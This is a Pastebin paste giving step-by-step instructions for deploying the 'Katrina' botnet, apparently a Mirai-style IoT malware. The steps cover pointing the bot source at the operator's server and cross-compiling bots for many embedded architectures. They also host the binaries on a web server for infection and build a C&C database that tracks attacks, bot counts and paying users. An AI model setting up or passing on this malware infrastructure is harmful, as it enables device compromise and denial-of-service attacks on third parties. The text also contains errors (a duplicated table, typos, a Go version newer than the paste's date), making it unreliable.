Advertisement
AntiMovements

Katrina

Jun 11th, 2018
207
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.44 KB | None | 0 0
  1. Things you will need:
  2. 1. A brain
  3. 2. A Debian/Ubuntu Server
  4. 3. A source
  5. 4. A 800 MB/s Download and a 200 MB/s Upload speed
  6. 5. 8/10GB Ram
  7.  
  8.  
  9. Setup:
  10.  
  11. apt-get update -y && apt-get upgrade -y && apt-get install unzip gcc golang electric-fence screen bzip2 g++ -y
  12.  
  13. cd Katrina/bot/
  14.  
  15. nano includes.h
  16. (Change all the IP's to your server IP exceptt for #define "FAKE_CNC_ADDR INET_ADDR(65,222,202,53)")
  17.  
  18. cd ..
  19.  
  20. cd cnc/
  21.  
  22. nano main.go
  23. (Add password in const DatabasePass string = "")
  24.  
  25. apt-get install mysql-client mysql-server -y
  26. (Use the password you chose for main.go)
  27.  
  28. Cross Compiler Setup:
  29.  
  30. mkdir etc
  31. cd etc
  32. mkdir xcompile
  33. cd xcompile
  34. wget https://download.tuxfamily.org/slitaz/sources/packages-stable/c/cross-compiler-mips.tar.bz2
  35. wget https://download.tuxfamily.org/slitaz/sources/packages-stable/c/cross-compiler-mipsel.tar.bz2
  36. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
  37. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2
  38. wget https://download.tuxfamily.org/slitaz/sources/packages-stable/c/cross-compiler-armv6l.tar.bz2
  39. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
  40. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
  41. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
  42. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
  43. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
  44. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
  45. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
  46. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2
  47. wget https://download.tuxfamily.org/slitaz/sources/packages-stable/c/cross-compiler-mips64.tar.bz2
  48. wget https://download.tuxfamily.org/slitaz/sources/packages-stable/c/cross-compiler-armv4eb.tar.bz2
  49. wget https://download.tuxfamily.org/slitaz/sources/packages-stable/c/cross-compiler-armv4tl.tar.bz2
  50. wget wget https://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-armv7l.tar.bz2
  51. wget https://download.tuxfamily.org/slitaz/sources/packages-stable/c/cross-compiler-i486.tar.bz2
  52.  
  53. tar -jxf cross-compiler-mips.tar.bz2
  54. tar -jxf cross-compiler-mipsel.tar.bz2
  55. tar -jxf cross-compiler-sh4.tar.bz2
  56. tar -jxf cross-compiler-x86_64.tar.bz2
  57. tar -jxf cross-compiler-armv6l.tar.bz2
  58. tar -jxf cross-compiler-i686.tar.bz2
  59. tar -jxf cross-compiler-powerpc.tar.bz2
  60. tar -jxf cross-compiler-i586.tar.bz2
  61. tar -jxf cross-compiler-m68k.tar.bz2
  62. tar -jxf cross-compiler-sparc.tar.bz2
  63. tar -jxf cross-compiler-armv4l.tar.bz2
  64. tar -jxf cross-compiler-armv5l.tar.bz2
  65. tar -jxf cross-compiler-powerpc-440fp.tar.bz2
  66. tar -jxf cross-compiler-mips64.tar.bz2
  67. tar -jxf cross-compiler-armv4eb.tar.bz2
  68. tar -jxf cross-compiler-armv4tl.tar.bz2
  69. tar -jxf cross-compiler-armv7l.tar.bz2
  70. tar -jxf cross-compiler-i486.tar.bz2
  71.  
  72. rm -rf *.tar.bz2
  73. mv cross-compiler-mips mips
  74. mv cross-compiler-mipsel mipsel
  75. mv cross-compiler-sh4 sh4
  76. mv cross-compiler-x86_64 x86_64
  77. mv cross-compiler-armv6l armv6l
  78. mv cross-compiler-i686 i686
  79. mv cross-compiler-powerpc powerpc
  80. mv cross-compiler-i586 i586
  81. mv cross-compiler-m68k m68k
  82. mv cross-compiler-sparc sparc
  83. mv cross-compiler-armv4l armv4l
  84. mv cross-compiler-armv5l armv5l
  85. mv cross-compiler-powerpc-440fp powerpc-440fp
  86. mv cross-compiler-mips64 mips64
  87. mv cross-compiler-armv4eb armv4eb
  88. mv cross-compiler-armv4tl armv4tl
  89. mv cross-compiler-armv7l armv7l
  90. mv cross-compiler-i486 i486
  91.  
  92. export PATH=$PATH:/etc/xcompile/mips/bin
  93. export PATH=$PATH:/etc/xcompile/mipsel/bin
  94. export PATH=$PATH:/etc/xcompile/sh4/bin
  95. export PATH=$PATH:/etc/xcompile/x86_64/bin
  96. export PATH=$PATH:/etc/xcompile/armv6l/bin
  97. export PATH=$PATH:/etc/xcompile/i686/bin
  98. export PATH=$PATH:/etc/xcompile/powerpc/bin
  99. export PATH=$PATH:/etc/xcompile/i586/bin
  100. export PATH=$PATH:/etc/xcompile/m68k/bin
  101. export PATH=$PATH:/etc/xcompile/sparc/bin
  102. export PATH=$PATH:/etc/xcompile/armv4l/bin
  103. export PATH=$PATH:/etc/xcompile/armv5l/bin
  104. export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
  105. export PATH=$PATH:/etc/xcompile/mips64/bin
  106. export PATH=$PATH:/etc/xcompile/armv4eb/bin
  107. export PATH=$PATH:/etc/xcompile/armv4tl/bin
  108. export PATH=$PATH:/etc/xcompile/armv7l/bin
  109. export PATH=$PATH:/etc/xcompile/i486/bin
  110.  
  111. Fix for GO:
  112.  
  113. apt-get remove golang -y && apt-get install mysql-server mysql-client gcc curl electric-fence git sudo -y
  114.  
  115. wget https://dl.google.com/go/go1.13.5.linux-amd64.tar.gz
  116. sudo tar -xvf go1.13.5.linux-amd64.tar.gz
  117. sudo mv go /usr/local
  118. export GOROOT=/usr/local/go
  119. export GOPATH=$HOME/Projects/Proj1
  120. export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
  121. To see if Go installed correctly type in
  122. go version
  123. if you see go version go1.13.5.linux-amd64
  124. then go installed correctly
  125.  
  126. Installing GO:
  127.  
  128. go get github.com/go-sql-driver/mysql
  129.  
  130. go get github.com/mattn/go-shellwords
  131.  
  132. Compiling the binaries and CNC:
  133.  
  134. apt-get install apache2 -y
  135.  
  136. chmod +x build.sh
  137.  
  138. ./build.sh release telnet
  139.  
  140. service apache restart
  141.  
  142. cd ..
  143.  
  144. cd var
  145.  
  146. cd www
  147.  
  148. mkdir html
  149.  
  150. cd hmtl
  151.  
  152. mkdir bins
  153.  
  154. cd ..
  155.  
  156. cd root
  157.  
  158. cd release
  159.  
  160. mv Katrina.* /var/www/html/bins/
  161.  
  162. setup admin login:
  163.  
  164. mysql:
  165.  
  166. mysql -u root -p
  167.  
  168. Enter the MySQL Password you chose
  169.  
  170. CREATE DATABASE Katrina;
  171. use Katrina;
  172.  
  173. CREATE TABLE `history` (
  174. `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  175. `user_id` int(10) unsigned NOT NULL,
  176. `time_sent` int(10) unsigned NOT NULL,
  177. `duration` int(10) unsigned NOT NULL,
  178. `command` text NOT NULL,
  179. `max_bots` int(11) DEFAULT '-1',
  180. PRIMARY KEY (`id`),
  181. KEY `user_id` (`user_id`)
  182. );
  183.  
  184. CREATE TABLE `users` (
  185. `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  186. `username` varchar(32) NOT NULL,
  187. `password` varchar(32) NOT NULL,
  188. `duration_limit` int(10) unsigned DEFAULT NULL,
  189. `cooldown` int(10) unsigned NOT NULL,
  190. `wrc` int(10) unsigned DEFAULT NULL,
  191. `last_paid` int(10) unsigned NOT NULL,
  192. `max_bots` int(11) DEFAULT '-1',
  193. `admin` int(10) unsigned DEFAULT '0',
  194. `intvl` int(10) unsigned DEFAULT '30',
  195. `api_key` text,
  196. PRIMARY KEY (`id`),
  197. KEY `username` (`username`)
  198. );
  199.  
  200. CREATE TABLE `whitelist` (
  201. `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  202. `prefix` varchar(16) DEFAULT NULL,
  203. `netmask` tinyint(3) unsigned DEFAULT NULL,
  204. PRIMARY KEY (`id`),
  205. KEY `prefix` (`prefix`)
  206. );
  207.  
  208. CREATE TABLE `whitelist` (
  209. `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  210. `prefix` varchar(16) DEFAULT NULL,
  211. `netmask` tinyint(3) unsigned DEFAULT NULL,
  212. PRIMARY KEY (`id`),
  213. KEY `prefix` (`prefix`)
  214. );
  215.  
  216. INSERT INTO users VALUES (NULL, 'admin', 'Hekker123', 0, 0, 0, 0, -1, 1, 30, '');
  217. exit
  218.  
  219. Setup is now complete you just have to get up the cnc
  220.  
  221. CNC Start:
  222.  
  223. cd Katrina/release/
  224.  
  225. screen ./cnc
  226.  
  227. COMPLETE!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement